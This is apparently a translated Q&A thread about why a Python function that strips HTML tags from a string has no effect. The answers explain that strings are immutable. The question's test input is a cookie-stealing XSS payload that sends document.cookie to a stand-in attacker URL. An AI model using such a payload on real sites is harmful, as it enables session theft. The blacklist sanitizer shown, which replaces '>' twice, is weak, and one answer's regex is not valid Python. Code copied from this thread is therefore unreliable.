为什么功能不起作用？ 试图替换字符串中的单词

Question

我试图替换字符串中的一些关键字。 这是我的功能：

def clean_code(input):
    input.replace('<script>', " ")
    input.replace('</script>', " ")
    input.replace('<a href>', " ")
    input.replace('</a>', " ")
    input.replace('>', "&gt;")
    input.replace('>', "&lt;")
    return input

这是我的其他代码和字符串：

string1 = "This blog is STUPID! >\n" \
"<script>document.location='http://some_attacker/cookie.cgi?"\
" +document.cookie </script>"


print '\nstring1 cleaned of code' 
print '------------------------'
print clean_code(string1)

我的输出如下，我不确定为什么没有改变

string1 cleaned of code
------------------------
This blog is STUPID! >
<script>document.location='http://some_attacker/cookie.cgi? +document.cookie </script>

Answer 1

Python字符串是不可变的 ：

input = input.replace('<script>', " ")
input = ...

请参阅replace文档 ：

返回字符串str的副本，其中所有出现的substring old都替换为new。

Answer 2

.replace不是就地突变

尝试这个

def clean_code(input):
    for tokens in [('<script>', " "),('</script>', " "),('<a href>', " "),
                ('</a>', " "),('>', "&gt;"),('>', "&lt;")]:
        input = input.replace(tokens[0], tokens[1])
    return input

Answer 3

字符串在Python中是不可变的。 input.replace('</a>', " ")不会改变input 。 您需要将结果分配回input 。

但实际上你应该使用像BeautifulSoup lxml这样的解析器。

Answer 4

String.replace返回一个新的字符串，该字符串是替换的结果，但不会更改原始字符串。 为此，您必须将返回值分配回变量，如下所示：

myString = myString.replace("foo", "bar")

此外， input.replace('<a href>', " ")只会替换确切的子串“<a href>”。 要删除实际链接，请尝试input.replace(/<a\\s[^>]*>/, " ") 。